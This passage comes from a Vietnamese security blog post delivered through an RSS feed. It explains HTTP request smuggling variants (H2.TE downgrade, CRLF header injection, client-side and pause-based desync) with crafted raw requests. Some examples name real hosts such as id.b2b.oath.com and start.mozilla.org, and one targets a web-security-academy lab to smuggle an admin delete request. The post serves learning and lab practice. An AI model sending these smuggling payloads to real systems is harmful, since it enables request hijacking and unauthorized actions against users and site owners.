class="line">aaaaGET /abc HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Foo: Bar</span><br></pre></td></tr></table></figure><p>Sau khi front-end server gửi yêu cầu đến back-end server phần còn lại sẽ được xem như là của yêu cầu mới, khi một người dùng khác gửi yêu cầu đến cùng thời điểm, phần còn lại sẽ được gắn vào đầu của yêu cầu mới và lỗi HRS được kích hoạt.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Content-Length: <span class="number">4</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br></pre></td></tr></table></figure><p>Trả về <code>200 OK</code><br>Yêu cầu của nạn nhân sẽ trở thành yêu cầu sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">GET /abc HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Foo: BarGET / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br></pre></td></tr></table></figure><p>Trả về <code>404 Not Found</code></p><h3 id="H2-TE"><a href="#H2-TE" class="headerlink" title="H2.TE"></a>H2.TE</h3><h4 id="H2-TE-Desync-May-chu-Front-end-downgrade-H2-thanh-H1-va-khong-xem-xet-loai-bo-cac-truong-lien-quan-den-connection-specific-header-fields"><a href="#H2-TE-Desync-May-chu-Front-end-downgrade-H2-thanh-H1-va-khong-xem-xet-loai-bo-cac-truong-lien-quan-den-connection-specific-header-fields" class="headerlink" title="H2.TE Desync - Máy chủ Front-end downgrade H2 thành H1 và không xem xét loại bỏ các trường liên quan đến connection-specific header fields"></a>H2.TE Desync - Máy chủ Front-end downgrade H2 thành H1 và không xem xét loại bỏ các trường liên quan đến <code>connection-specific header fields</code></h4><p>Request gửi đến FE server:</p><table><thead><tr><th>:method</th><th>POST</th></tr></thead><tbody><tr><td>:path</td><td>&#x2F;identitfy&#x2F;XUI</td></tr><tr><td>:authority</td><td>id.b2b.oath.com</td></tr><tr><td>transfer-encoding</td><td>chunked</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /oops HTTP/1.1</span><br><span class="line">Host: psres.net</span><br><span class="line">Content-Length: 10</span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>FE downgrade mà không tuân thủ việc loại bỏ transfer-encoding:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /identity/XUI HTTP/<span class="number">1.1</span></span><br><span class="line">Host: id.b2b.oath.com</span><br><span class="line">Content-Length: <span class="number">66</span></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">GET /oops HTTP/<span class="number">1.1</span></span><br><span class="line">Host: psres.net</span><br><span class="line">Content-Length: <span class="number">10</span></span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>Phía server chọn transfer encoding và H2.TE xảy ra, tương tự như CL.TE.</p><p>Bây giờ request sẽ trở thành:</p><ul><li>Request 1<figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">POST /identity/XUI HTTP/<span class="number">1.1</span></span><br><span class="line">Host: id.b2b.oath.com</span><br><span class="line">Content-Length: <span class="number">66</span></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br></pre></td></tr></table></figure></li><li>Request 2<figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">GET /oops HTTP/<span class="number">1.1</span></span><br><span class="line">Host: psres.net</span><br><span class="line">Content-Length: <span class="number">10</span></span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure></li></ul><h4 id="H2-TE-via-Request-Header-Injection"><a href="#H2-TE-via-Request-Header-Injection" class="headerlink" title="H2.TE via Request Header Injection"></a>H2.TE via Request Header Injection</h4><p>Request gửi đến FE server:</p><table><thead><tr><th>:method</th><th>POST</th></tr></thead><tbody><tr><td>:path</td><td>&#x2F;</td></tr><tr><td>:authority</td><td>start.mozilla.org</td></tr><tr><td>foo</td><td>b<code>\r\n</code> <br>    transfer-encoding: chunked</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0\r\n</span><br><span class="line">\r\n</span><br><span class="line">GET / HTTP/1.1\r\n</span><br><span class="line">Host: evil-netlify-domain\r\n</span><br><span class="line">Content-Length: 5\r\n</span><br><span class="line">\r\n</span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>Sau khi FE downgrade, <code>\r\n</code> trigger header injection:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: start.mozilla.org\r\n</span><br><span class="line">Foo: b\r\n</span><br><span class="line">Transfer-Encoding: chunked\r\n</span><br><span class="line">Content-Length: <span class="number">71</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">GET / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">Host: evil-netlify-domain\r\n</span><br><span class="line">Content-Length: <span class="number">5</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>Bây giờ bài toán lại trở về H2.TE</p><h3 id="HTTP-request-tunnelling"><a href="#HTTP-request-tunnelling" class="headerlink" title="HTTP request tunnelling"></a>HTTP request tunnelling</h3><h2 id="Client-side-Desync"><a href="#Client-side-Desync" class="headerlink" title="Client-side Desync"></a>Client-side Desync</h2><p>Tham khảo: <a href="https://www.youtube.com/watch?v=KN8WF1q04no">https://www.youtube.com/watch?v=KN8WF1q04no</a></p><p>Đôi khi server sẽ trả về 2 response với cùng một request nếu Connection là keep-alive và gửi chung 2 request trong 1 request.</p><p><img src="https://github.com/user-attachments/assets/1634bf00-b4b5-4eb8-a166-3e9e37a3de49" alt="image"></p><p>Để server phân biệt được khi nào 2 request, khi nào thì chỉ là 1 request và phần sau là phần body thì ta cần thêm giá trị content-length.</p><p>Tuy nhiên một vài server sẽ không mong đợi Content-Length và sẽ mặc định là 0. Khi này server sẽ nghĩ đó là 2 request dù đó là POST request như sau:</p><p><img src="https://github.com/user-attachments/assets/ef9acd68-59fe-4261-8f78-00fe72eb3e73" alt="image"></p><p>Và 2 response sẽ được trả về.</p><h2 id="Pause-based-desync"><a href="#Pause-based-desync" class="headerlink" title="Pause-based desync"></a>Pause-based desync</h2><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /resources HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a09000d030187f382ab5b5f001b002c.web-security-academy.net</span><br><span class="line">Cookie: session=WPmZElZUBulQFtkztzMyvYUcW7cnDwxz</span><br><span class="line">Connection: keep-alive</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">159</span></span><br><span class="line"></span><br><span class="line">POST /admin/delete/ HTTP/<span class="number">1.1</span></span><br><span class="line">Host: localhost</span><br><span class="line">Content-Length: <span class="number">53</span></span><br><span class="line">Content-Type: x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">csrf=B2qufiNeJo9Hsq32pJFLGOZio9bCgkyn&amp;username=carlos</span><br></pre></td></tr></table></figure><p><img src="https://github.com/user-attachments/assets/ab8e2472-1f0b-48ee-a3b3-3e9945e7c426" alt="image"><br><img src="https://github.com/user-attachments/assets/85e09525-6d92-4bb9-89ba-3e1699635fc1" alt="image"></p>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/HTTP-Request-Smuggling/">HTTP Request Smuggling</category>
      
      
      <category domain="https://rayinaw.github.io/tags/HRS/">HRS</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/#disqus_thread</comments>
      
    </item>
    
  </channel>
</rss>
